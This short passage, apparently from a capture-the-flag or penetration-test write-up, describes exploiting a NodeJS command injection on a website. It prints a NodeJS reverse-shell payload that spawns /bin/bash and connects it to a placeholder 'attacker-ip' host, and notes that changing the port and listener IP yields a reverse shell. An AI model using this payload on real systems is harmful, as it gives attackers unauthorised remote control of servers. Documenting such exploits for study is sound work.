Since we already saw that the website was vulnerable to NodeJS command injection. We copied the following line of code.
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(80, "attacker-ip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
Changing the script to connect to port 3000 and changing out listening host to our IP. Would result in a reverse shell.
